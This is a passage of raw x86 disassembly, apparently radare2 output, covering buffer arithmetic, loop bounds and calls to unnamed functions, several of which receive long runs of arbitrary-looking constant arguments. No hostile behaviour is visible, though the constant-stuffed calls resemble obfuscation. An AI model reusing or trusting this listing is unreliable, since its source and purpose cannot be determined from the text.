push 3
call fcn.1003ba6c
pop ecx
pop ecx
mov dword [ebp - 0x140], eax
jmp 0x1003cc55
lea eax, [ebp - 0x30]
push eax
push 7
call fcn.1003ba6c
pop ecx
pop ecx
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
add eax, 0x30
mov ecx, dword [ebp - 0x40]
dec ecx
sub ecx, dword [ebp - 0x164]
mov byte [ebp + ecx - 0x150], al
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x9c]
push 0x10007c38
call fcn.1004e3a9
add esp, 0xc
jmp 0x1003cad6
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [eax + 0xc], ecx
push 0
push dword [ebp - 0x54]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 0xc]
add ecx, dword [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x264]
call fcn.1003e640
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x54]
mov dword [ebp - 0x10], eax
push 0x22a6
push 1
push 0x4db8
lea eax, [ebp - 0x24]
push eax
push 0x2f11
push 0x4244
lea eax, [ebp - 0x20]
push eax
push 1
push 0x205e
push 0x13de
push 0x1988
lea eax, [ebp - 0x10]
push eax
push 1
push 0x68c9
push 0x31bf
call fcn.1003b22d
add esp, 0x3c
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x18], 0
jbe 0x1003cd69
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
sub eax, ecx
mov ecx, dword [ebp - 0x14]
xor edx, edx
div dword [ecx + 0x18]
cmp eax, 0xc
jbe 0x1003cd3d
mov dword [ebp - 0x17c], 0xc
jmp 0x1003cd5b
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
sub eax, ecx
mov ecx, dword [ebp - 0x14]
xor edx, edx
div dword [ecx + 0x18]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x16c], eax
jmp 0x1003cd70
and dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], eax
and dword [ebp - 0x88], 0
jmp 0x1003cd92
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x88]
cmp ecx, dword [eax + 0x18]
jae 0x1003ce74
push dword [ebp - 0x170]
mov eax, dword [ebp - 0x170]
cdq
sub eax, edx
sar eax, 1
push eax
call fcn.10039429
pop ecx
pop ecx
mov dword [ebp - 0x154], eax
push dword [ebp - 0x154]
lea eax, [ebp - 0x234]
push eax
call fcn.10039b80
pop ecx
pop ecx
mov byte [ebp - 4], 0xa
push 0xb2d
push 0xfdc
lea eax, [ebp - 0x14]
push eax
push 0x56ed
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x1dd
push 0x325e
push 0x5de8
lea eax, [ebp - 0x10]
push eax
push 1
push 1
push 0x2e16
lea eax, [ebp - 0x88]
push eax
push 1
call fcn.1003b6f7
add esp, 0x3c
push 0
push dword [ebp - 0x154]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0x234]
call fcn.1003e640
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x154]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x234]
call fcn.10031260
jmp 0x1003cd85
and dword [ebp - 0x58], 0
jmp 0x1003ce81
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
sub eax, ecx
cmp dword [ebp - 0x58], eax
jae 0x1003cea8
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x24]
mov byte [ecx + eax], 0
jmp 0x1003ce7a
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
sub eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x34]
mov dword [ecx + 4], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x264]
call fcn.10031260
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10031260
jmp 0x1003cf3e
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f0]
mov eax, dword [eax]
shl eax, 1
mov ecx, dword [ebp - 0x1a0]
mov ecx, dword [ecx]
sub ecx, eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [eax + 0x24], ecx
jmp 0x1003cf7c
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x1b0], eax
push 0
push dword [ebp - 0x1b0]
push dword [ebp - 0x1b8]
push 0x1373
push dword [ebp - 0x1c0]
call fcn.1003ba3f
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret